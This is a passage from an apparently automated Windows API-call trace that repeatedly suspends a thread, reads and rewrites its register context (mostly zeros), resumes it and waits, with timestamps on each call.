[175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0121.871] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019efa0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0121.888] ResumeThread (hThread=0x100) returned 0x1 [0121.888] CloseHandle (hObject=0x100) returned 1 [0121.888] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0122.093] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0122.302] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0122.302] SuspendThread (hThread=0x100) returned 0x0 [0122.302] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fd58, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fcbd080, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0122.303] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fd50, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0122.303] ResumeThread (hThread=0x100) returned 0x1 [0122.304] CloseHandle (hObject=0x100) returned 1 [0122.304] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0122.513] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0122.988] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0123.009] SuspendThread (hThread=0x100) returned 0x0 [0123.009] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x28faf0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f729360, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0123.010] ResumeThread (hThread=0x100) returned 0x1 [0123.010] CloseHandle (hObject=0x100) returned 1 [0123.068] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0123.152] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0123.298] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0123.510] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0123.510] SuspendThread (hThread=0x100) returned 0x0 [0123.510] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ccc0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fd14ffa, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, 